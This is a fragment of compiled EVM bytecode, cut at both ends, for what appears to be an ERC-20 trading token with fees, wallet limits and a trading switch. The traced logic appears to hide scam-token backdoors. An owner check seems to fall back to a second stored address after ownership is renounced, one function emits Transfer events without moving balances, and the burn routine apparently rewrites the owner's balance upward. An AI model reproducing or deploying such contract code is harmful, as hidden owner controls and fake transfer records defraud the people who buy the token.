1526200105f816200101d565b9050919050565b6000620010738262000ac1565b9150620010808362000ac1565b92508282019050808211156200109b576200109a6200093e565b5b92915050565b620010ac8162000ac1565b82525050565b6000602082019050620010c96000830184620010a1565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006200110760208362000fe3565b91506200111482620010cf565b602082019050919050565b600060208201905081810360008301526200113a81620010f8565b9050919050565b60805161425f6200117260003960008181610b750152818161292701528181612a080152612a45015261425f6000f3fe60806040526004361061021e5760003560e01c806389291a8f11610123578063c2b7bbb6116100ab578063dd8546521161006f578063dd85465214610792578063e2f45605146107bd578063f2fde38b146107e8578063f8b45b0514610811578063ffb54a991461083c57610225565b8063c2b7bbb6146106bf578063c8c8ebe4146106e8578063c9567bf914610713578063cf9522fd1461072a578063dd62ed3e1461075557610225565b8063a457c2d7116100f2578063a457c2d7146105ca578063a9059cbb14610607578063ad296d9d14610644578063afa4f3b21461066d578063b18834aa1461069657610225565b806389291a8f146105345780638da5cb5b1461054b57806395d89b41146105765780639a7a23d6146105a157610225565b806342966c68116101a657806370a082311161017557806370a0823114610475578063715018a6146104b25780637221ec1a146104c9578063751039fc146105065780637d16a7211461051d57610225565b806342966c68146103cd578063583e0568146103f65780636ddd1713146104215780636f4fd18e1461044c57610225565b806323b872dd116101ed57806323b872dd146102d4578063311028af14610311578063313ce5671461033c57806339509351146103675780633be6e637146103a457610225565b806306fdde031461022a578063095ea7b3146102555780630f054c061461029257806318160ddd146102a957610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f610867565b60405161024c9190612b8d565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190612c57565b6108f9565b6040516102899190612cb2565b60405180910390f35b34801561029e57600080fd5b506102a761091c565b005b3480156102b557600080fd5b506102be610a6d565b6040516102cb9190612cdc565b60405180910390f35b3480156102e057600080fd5b506102fb60048036038101906102f69190612cf7565b610a77565b6040516103089190612cb2565b60405180910390f35b34801561031d57600080fd5b50610326610aa6565b6040516103339190612cdc565b60405180910390f35b34801561034857600080fd5b50610351610aac565b60405161035e9190612d66565b60405180910390f35b34801561037357600080fd5b5061038e60048036038101906103899190612c57565b610ab5565b60405161039b9190612cb2565b60405180910390f35b3480156103b057600080fd5b506103cb60048036038101906103c69190612d81565b610aec565b005b3480156103d957600080fd5b506103f460048036038101906103ef9190612dc1565b610b57565b005b34801561040257600080fd5b5061040b610b73565b6040516104189190612e4d565b60405180910390f35b34801561042d57600080fd5b50610436610b97565b6040516104439190612cb2565b60405180910390f35b34801561045857600080fd5b50610473600480360381019061046e9190612fdc565b610baa565b005b34801561048157600080fd5b5061049c60048036038101906104979190613038565b610c47565b6040516104a99190612cdc565b60405180910390f35b3480156104be57600080fd5b506104c7610c8f565b005b3480156104d557600080fd5b506104f060048036038101906104eb9190613038565b610ca3565b6040516104fd9190612cb2565b60405180910390f35b34801561051257600080fd5b5061051b610cf9565b005b34801561052957600080fd5b50610532610d1e565b005b34801561054057600080fd5b50610549610d43565b005b34801561055757600080fd5b50610560610dd7565b60405161056d9190613074565b60405180910390f35b34801561058257600080fd5b5061058b610e01565b6040516105989190612b8d565b60405180910390f35b3480156105ad57600080fd5b506105c860048036038101906105c3919061308f565b610e93565b005b3480156105d657600080fd5b506105f160048036038101906105ec9190612c57565b610f39565b6040516105fe9190612cb2565b60405180910390f35b34801561061357600080fd5b5061062e60048036038101906106299190612c57565b610fb0565b60405161063b9190612cb2565b60405180910390f35b34801561065057600080fd5b5061066b60048036038101906106669190612fdc565b610fd3565b005b34801561067957600080fd5b50610694600480360381019061068f9190612dc1565b6110d8565b005b3480156106a257600080fd5b506106bd60048036038101906106b8919061312a565b611108565b005b3480156106cb57600080fd5b506106e660048036038101906106e19190613038565b6111e5565b005b3480156106f457600080fd5b506106fd611231565b60405161070a9190612cdc565b60405180910390f35b34801561071f57600080fd5b50610728611237565b005b34801561073657600080fd5b5061073f61125c565b60405161074c9190612cdc565b60405180910390f35b34801561076157600080fd5b5061077c6004803603810190610777919061318a565b611262565b6040516107899190612cdc565b60405180910390f35b34801561079e57600080fd5b506107a76112e9565b6040516107b49190612cdc565b60405180910390f35b3480156107c957600080fd5b506107d26112ef565b6040516107df9190612cdc565b60405180910390f35b3480156107f457600080fd5b5061080f600480360381019061080a9190613038565b6112f5565b005b34801561081d57600080fd5b50610826611378565b6040516108339190612cdc565b60405180910390f35b34801561084857600080fd5b5061085161137e565b60405161085e9190612cb2565b60405180910390f35b606060048054610876906131f9565b80601f01602080910402602001604051908101604052809291908181526020018280546108a2906131f9565b80156108ef5780601f106108c4576101008083540402835291602001916108ef565b820191906000526020600020905b8154815290600101906020018083116108d257829003601f168201915b5050505050905090565b600080610904611391565b9050610911818585611399565b600191505092915050565b610924611562565b600030905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016109649190613074565b602060405180830381865afa158015610981573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a5919061323f565b9050600081116109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e1906132b8565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a259291906132d8565b6020604051808303816000875af1158015610a44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a689190613316565b505050565b6000600354905090565b600080610a82611391565b9050610a8f8582856115e0565b610a9a85858561166c565b60019150509392505050565b60105481565b60006009905090565b600080610ac0611391565b9050610ae1818585610ad28589611262565b610adc9190613372565b611399565b600191505092915050565b610af4611562565b60148211158015610b06575060328111155b610b45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3c906133f2565b60405180910390fd5b81601281905550806011819055505050565b610b5f611562565b610b70610b6a611391565b82612046565b50565b7f000000000000000000000000000000000000000000000000000000000000000081565b601360009054906101000a900460ff1681565b610bb2611562565b60005b8251811015610c42578160156000858481518110610bd657610bd5613412565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c3a90613441565b915050610bb5565b505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c97611562565b610ca1600061221b565b565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610d01611562565b6000610d0b610a6d565b905080600e8190555080600d8190555050565b610d26611562565b6001601360006101000a81548160ff021916908315150217905550565b610d4b611562565b60004711610d8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d85906134d5565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610dd4573d6000803e3d6000fd5b50565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610e10906131f9565b80601f0160208091040260200160405190810160405280929190818152602001828054610e3c906131f9565b8015610e895780601f10610e5e57610100808354040283529160200191610e89565b820191906000526020600020905b815481529060010190602001808311610e6c57829003601f168201915b5050505050905090565b610e9b611562565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2290613567565b60405180910390fd5b610f3582826122e1565b5050565b600080610f44611391565b90506000610f528286611262565b905083811015610f97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8e906135f9565b60405180910390fd5b610fa48286868403611399565b60019250505092915050565b600080610fbb611391565b9050610fc881858561166c565b600191505092915050565b610fdb611562565b60005b82518110156110d3578160016000858481518110610fff57610ffe613412565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555082818151811061106b5761106a613412565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb836040516110b89190612cb2565b60405180910390a280806110cb90613441565b915050610fde565b505050565b6110e0611562565b6110e8610aac565b600a6110f4919061374c565b816110ff9190613797565b600f8190555050565b611110611562565b60005b838390508110156111df5783838281811061113157611130613412565b5b90506020020160208101906111469190613038565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111c49190612cdc565b60405180910390a380806111d790613441565b915050611113565b50505050565b6111ed611562565b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e5481565b61123f611562565b6001601360016101000a81548160ff021916908315150217905550565b60115481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60125481565b600f5481565b6112fd611562565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361136c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113639061384b565b60405180910390fd5b6113758161221b565b50565b600d5481565b601360019054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ff906138dd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611477576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146e9061396f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115559190612cdc565b60405180910390a3505050565b61156a611391565b73ffffffffffffffffffffffffffffffffffffffff16611588612382565b73ffffffffffffffffffffffffffffffffffffffff16146115de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d5906139db565b60405180910390fd5b565b60006115ec8484611262565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146116665781811015611658576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164f90613a47565b60405180910390fd5b6116658484848403611399565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d290613ad9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361174a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174190613b6b565b60405180910390fd5b436016819055506000810361176a5761176583836000612396565b612041565b601360019054906101000a900460ff1661185f57600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061181f5750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61185e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185590613bd7565b60405180910390fd5b5b611867610dd7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118d557506118a5610dd7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561190e5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611948575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119615750600c60149054906101000a900460ff16155b15611be657601654600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611a4f5750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611af657600e54811115611a99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9090613c69565b60405180910390fd5b600d54611aa583610c47565b82611ab09190613372565b1115611af1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae890613cd5565b60405180910390fd5b611be5565b601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611b995750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611be457600e54811115611be3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bda90613d67565b60405180910390fd5b5b5b5b6000611bf130610c47565b905060008082119050808015611c135750601360009054906101000a900460ff165b8015611c2c5750600c60149054906101000a900460ff16155b8015611c825750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611cd85750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d2e5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d73576001600c60146101000a81548160ff021916908315150217905550611d578361260c565b6000600c60146101000a81548160ff0219169083151502179055505b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611e0d5750600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460165411155b15611e9a57611e5a600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279e565b611e99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9090613df9565b60405180910390fd5b5b6000600c60149054906101000a900460ff169050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f4f5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611f5957600090505b6000811561203157601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611fe257611fdb6064611fcd601154886127aa90919063ffffffff16565b6127c090919063ffffffff16565b905061200d565b61200a6064611ffc601254886127aa90919063ffffffff16565b6127c090919063ffffffff16565b90505b600081111561202257612021873083612396565b5b808561202e9190613e19565b94505b61203c878787612396565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ac90613ebf565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561213b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213290613f51565b60405180910390fd5b816007546121499190613e19565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825461219d9190613e19565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122029190612cdc565b60405180910390a3612216836000846127d6565b505050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b60008061238d6127db565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612405576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123fc90613ad9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246b90613b6b565b60405180910390fd5b61247f838383612883565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612505576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fc90613fe3565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125f39190612cdc565b60405180910390a36126068484846127d6565b50505050565b600061261730610c47565b9050600080820361262957505061279b565b600060115460125461263b9190613372565b036126b7576000821180156126515750600f5482105b1561265e578190506126b2565b6000612688606461267a601154876127aa90919063ffffffff16565b6127c090919063ffffffff16565b905080846126969190613e19565b9350600f548411156126ac57600f5491506126b0565b8391505b505b61278f565b6000821180156126db57506126d86005600f546127c090919063ffffffff16565b82105b156126e757505061279b565b60008211801561270b57506127086005600f546127c090919063ffffffff16565b82115b80156127185750600f5482105b1561273a576127336005600f546127c090919063ffffffff16565b905061278e565b60006127646064612756601154876127aa90919063ffffffff16565b6127c090919063ffffffff16565b905080846127729190613e19565b9350600f5484111561278857600f54915061278c565b8391505b505b5b61279881612888565b50505b50565b60004382119050919050565b600081836127b89190613797565b905092915050565b600081836127ce9190614032565b905092915050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461285a57600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661287e565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b505050565b6000600267ffffffffffffffff8111156128a5576128a4612e6d565b5b6040519080825280602002602001820160405280156128d35781602001602082028036833780820191505090505b50905030816000815181106128eb576128ea613412565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612990573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129b49190614078565b816001815181106129c8576129c7613412565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612a43307f00000000000000000000000000000000000000000000000000000000000000008473ffffffffffffffffffffffffffffffffffffffff16611399565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401612ac79594939291906141cf565b600060405180830381600087803b158015612ae157600080fd5b505af1158015612af5573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b37578082015181840152602081019050612b1c565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b5f82612afd565b612b698185612b08565b9350612b79818560208601612b19565b612b8281612b43565b840191505092915050565b60006020820190508181036000830152612ba78184612b54565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612bee82612bc3565b9050919050565b612bfe81612be3565b8114612c0957600080fd5b50565b600081359050612c1b81612bf5565b92915050565b6000819050919050565b612c3481612c21565b8114612c3f57600080fd5b50565b600081359050612c5181612c2b565b92915050565b60008060408385031215612c6e57612c6d612bb9565b5b6000612c7c85828601612c0c565b9250506020612c8d85828601612c42565b9150509250929050565b60008115159050919050565b612cac81612c97565b82525050565b6000602082019050612cc76000830184612ca3565b92915050565b612cd681612c21565b82525050565b6000602082019050612cf16000830184612ccd565b92915050565b600080600060608486031215612d1057612d0f612bb9565b5b6000612d1e86828701612c0c565b9350506020612d2f86828701612c0c565b9250506040612d4086828701612c42565b9150509250925092565b600060ff82169050919050565b612d6081612d4a565b82525050565b6000602082019050612d7b6000830184612d57565b92915050565b60008060408385031215612d9857612d97612bb9565b5b6000612da685828601612c42565b9250506020612db785828601612c42565b9150509250929050565b600060208284031215612dd757612dd6612bb9565b5b6000612de584828501612c42565b91505092915050565b6000819050919050565b6000612e13612e0e612e0984612bc3565b612dee565b612bc3565b9050919050565b6000612e2582612df8565b9050919050565b6000612e3782612e1a565b9050919050565b612e4781612e2c565b82525050565b6000602082019050612e626000830184612e3e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612ea582612b43565b810181811067ffffffffffffffff82111715612ec457612ec3612e6d565b5b80604052505050565b6000612ed7612baf565b9050612ee38282612e9c565b919050565b600067ffffffffffffffff821115612f0357612f02612e6d565b5b602082029050602081019050919050565b600080fd5b6000612f2c612f2784612ee8565b612ecd565b90508083825260208201905060208402830185811115612f4f57612f4e612f14565b5b835b81811015612f785780612f648882612c0c565b845260208401935050602081019050612f51565b5050509392505050565b600082601f830112612f9757612f96612e68565b5b8135612fa7848260208601612f19565b91505092915050565b612fb981612c97565b8114612fc457600080fd5b50565b600081359050612fd681612fb0565b92915050565b60008060408385031215612ff357612ff2612bb9565b5b600083013567ffffffffffffffff81111561301157613010612bbe565b5b61301d85828601612f82565b925050602061302e85828601612fc7565b9150509250929050565b60006020828403121561304e5761304d612bb9565b5b600061305c84828501612c0c565b91505092915050565b61306e81612be3565b82525050565b60006020820190506130896000830184613065565b92915050565b600080604083850312156130a6576130a5612bb9565b5b60006130b485828601612c0c565b92505060206130c585828601612fc7565b9150509250929050565b600080fd5b60008083601f8401126130ea576130e9612e68565b5b8235905067ffffffffffffffff811115613107576131066130cf565b5b60208301915083602082028301111561312357613122612f14565b5b9250929050565b60008060006040848603121561314357613142612bb9565b5b600084013567ffffffffffffffff81111561316157613160612bbe565b5b61316d868287016130d4565b9350935050602061318086828701612c42565b9150509250925092565b600080604083850312156131a1576131a0612bb9565b5b60006131af85828601612c0c565b92505060206131c085828601612c0c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061321157607f821691505b602082108103613224576132236131ca565b5b50919050565b60008151905061323981612c2b565b92915050565b60006020828403121561325557613254612bb9565b5b60006132638482850161322a565b91505092915050565b7f4e6f20746f6b656e7320746f20636c6561720000000000000000000000000000600082015250565b60006132a2601283612b08565b91506132ad8261326c565b602082019050919050565b600060208201905081810360008301526132d181613295565b9050919050565b60006040820190506132ed6000830185613065565b6132fa6020830184612ccd565b9392505050565b60008151905061331081612fb0565b92915050565b60006020828403121561332c5761332b612bb9565b5b600061333a84828501613301565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061337d82612c21565b915061338883612c21565b92508282019050808211156133a05761339f613343565b5b92915050565b7f466565732063616e6e6f74206578636565642033302500000000000000000000600082015250565b60006133dc601683612b08565b91506133e7826133a6565b602082019050919050565b6000602082019050818103600083015261340b816133cf565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061344c82612c21565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361347e5761347d613343565b5b600182019050919050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b60006134bf601683612b08565b91506134ca82613489565b602082019050919050565b600060208201905081810360008301526134ee816134b2565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000613551603983612b08565b915061355c826134f5565b604082019050919050565b6000602082019050818103600083015261358081613544565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006135e3602583612b08565b91506135ee82613587565b604082019050919050565b60006020820190508181036000830152613612816135d6565b9050919050565b60008160011c9050919050565b6000808291508390505b60018511156136705780860481111561364c5761364b613343565b5b600185161561365b5780820291505b808102905061366985613619565b9450613630565b94509492505050565b6000826136895760019050613745565b816136975760009050613745565b81600181146136ad57600281146136b7576136e6565b6001915050613745565b60ff8411156136c9576136c8613343565b5b8360020a9150848211156136e0576136df613343565b5b50613745565b5060208310610133831016604e8410600b841016171561371b5782820a90508381111561371657613715613343565b5b613745565b6137288484846001613626565b9250905081840481111561373f5761373e613343565b5b81810290505b9392505050565b600061375782612c21565b915061376283612d4a565b925061378f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613679565b905092915050565b60006137a282612c21565b91506137ad83612c21565b92508282026137bb81612c21565b915082820484148315176137d2576137d1613343565b5b5092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613835602683612b08565b9150613840826137d9565b604082019050919050565b6000602082019050818103600083015261386481613828565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006138c7602483612b08565b91506138d28261386b565b604082019050919050565b600060208201905081810360008301526138f6816138ba565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613959602283612b08565b9150613964826138fd565b604082019050919050565b600060208201905081810360008301526139888161394c565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006139c5602083612b08565b91506139d08261398f565b602082019050919050565b600060208201905081810360008301526139f4816139b8565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613a31601d83612b08565b9150613a3c826139fb565b602082019050919050565b60006020820190508181036000830152613a6081613a24565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613ac3602583612b08565b9150613ace82613a67565b604082019050919050565b60006020820190508181036000830152613af281613ab6565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613b55602383612b08565b9150613b6082613af9565b604082019050919050565b60006020820190508181036000830152613b8481613b48565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613bc1601683612b08565b9150613bcc82613b8b565b602082019050919050565b60006020820190508181036000830152613bf081613bb4565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613c53603583612b08565b9150613c5e82613bf7565b604082019050919050565b60006020820190508181036000830152613c8281613c46565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613cbf601383612b08565b9150613cca82613c89565b602082019050919050565b60006020820190508181036000830152613cee81613cb2565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613d51603683612b08565b9150613d5c82613cf5565b604082019050919050565b60006020820190508181036000830152613d8081613d44565b9050919050565b7f4f6e652070757263686173652070657220626c6f636b20616c6c6f7765642e2060008201527f5761697420666f72206e65787420626c6f636b2e000000000000000000000000602082015250565b6000613de3603483612b08565b9150613dee82613d87565b604082019050919050565b60006020820190508181036000830152613e1281613dd6565b9050919050565b6000613e2482612c21565b9150613e2f83612c21565b9250828203905081811115613e4757613e46613343565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ea9602183612b08565b9150613eb482613e4d565b604082019050919050565b60006020820190508181036000830152613ed881613e9c565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f3b602283612b08565b9150613f4682613edf565b604082019050919050565b60006020820190508181036000830152613f6a81613f2e565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613fcd602683612b08565b9150613fd882613f71565b604082019050919050565b60006020820190508181036000830152613ffc81613fc0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061403d82612c21565b915061404883612c21565b925082614058576140576